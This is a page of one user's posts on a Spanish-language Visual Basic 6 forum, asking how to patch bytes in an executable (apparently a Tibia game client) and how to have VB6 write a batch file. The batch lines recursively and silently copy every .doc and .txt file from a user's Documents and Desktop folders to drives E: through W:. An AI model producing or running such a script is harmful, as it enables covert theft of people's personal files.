últimos mensajes de: asdexiva

Mostrar Mensajes
Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22

181	Programación / Programación Visual Basic / Re: pequeñisima duda hex	en: 15 Enero 2013, 19:00 pm
si muchas gracias entonces j viene siendo =al primer numero de 1846824 por ejemplo si yo tengo 1846120 y quiero que de ay empise no tengo que poner este numero si no 1846119 verdad xd por que vi que salta un byte en hex si no pongo un numero antes

182	Programación / Programación Visual Basic / Re: pequeñisima duda hex	en: 15 Enero 2013, 18:41 pm
muchisimas gracias funciona me podrias explicar mas o menos el codigo pero en forma if text1.text=xd then si text1 =xd entonces <-- asi please xd quiero comprender bien el codigo si no es mucha molestia xD no logro enteder esto i = j + 1846823 bytearray(i) = asc(mid(text1.text, j, 1)) como isestes desde 1846823 1846834 ?¿

183	Programación / Programación Visual Basic / Re: se puede usar editor hexadecimal en vb6	en: 15 Enero 2013, 18:33 pm
oks gracias por aclararme la duda xD

184	Programación / Programación Visual Basic / Re: pequeñisima duda hex	en: 15 Enero 2013, 18:17 pm
podria ser asi ? Código: bytearray() = StrConv(Datos, vbFromUnicode) 'cmain frame bytearray(1846824, 1846825, 1846826, 1846827, 1846828, 1846829, 1846830, 1846831, 1846832, 1846833, 1846834) = Asc(Text1.Text) biterray esta declarado como string pero me sale una ventana diciendo error 13 no coinciden los datos

185

Programación / Programación Visual Basic / pequeñisima duda hex

en: 15 Enero 2013, 18:02 pm

Código:

Dim file As String, Datos As String, bytearray() As Byte
 
file = "C:\Archivos de programa\aplicacion\xd.exe"
Open file For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
 
bytearray() = StrConv(Datos, vbFromUnicode)
'cmain frame
bytearray(1846824) = Asc("T")
bytearray(1846825) = Asc("i")
bytearray(1846826) = Asc("b")
bytearray(1846827) = Asc("i")
bytearray(1846828) = Asc("a")
bytearray(1846829) = Asc("C")
bytearray(1846830) = Asc("l")
bytearray(1846831) = Asc("i")
bytearray(1846832) = Asc("e")
bytearray(1846833) = Asc("n")
bytearray(1846834) = Asc("t")

Open file For Binary As #1
Put #1, 1, bytearray()
Close #1
End Sub

lo que quiero es no hacer tantas lineas en los bytearray quiero hacer un texbox que acomode todo quiero todos estos bytes array en una sola linea espero me entienda xD
1846824,1846825,1846826,1846827,asta 1846834 con un texbox y que en el texbox no se puedan escribir mas de 11 letras
por favor ayuda :S

186	Programación / Programación Visual Basic / Re: se puede usar editor hexadecimal en vb6	en: 15 Enero 2013, 17:45 pm
de casualidad no te basastes en juego llamado tibia al darme este ejemplo ?¿ el mz se me ase conocido xD pero bueno muchisisisisimas gracias veo que en este foro si ayudan muchas gracias

187	Programación / Programación Visual Basic / Re: se puede usar editor hexadecimal en vb6	en: 15 Enero 2013, 01:42 am
me podrias dar una idea XD dime una pagina o como para tratar de entender si puedes xD

188	Programación / Programación Visual Basic / se puede usar editor hexadecimal en vb6	en: 15 Enero 2013, 01:12 am
mi pregunta es se puede modicar una parte de un programa con vb6 por que con un editor hexadecimal si se puede pero se puede automatizar esto para que cambie solo unas partes del codigo desde vb6 ?

189	Programación / Programación Visual Basic / Re: modifcar bath con vb6	en: 15 Enero 2013, 00:16 am
muchisimas gracias gracias gracias & <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?

190

Programación / Programación Visual Basic / Re: modifcar bath con vb6

en: 14 Enero 2013, 21:13 pm

es que lo que quiero es que me genere un bat agregando las extensiones :S

Código:

Print #1, "REM E"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "REM F"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "REM G"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "REM H"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "REM I"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "REM J"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "REM k"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "REM L"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "REM w"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"

mira si esto lo pongo en vb6 me da error lo que ase este codigo es hacer el bat pero tengo errores en los % "" pff XD espero me puedan ayudar

Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22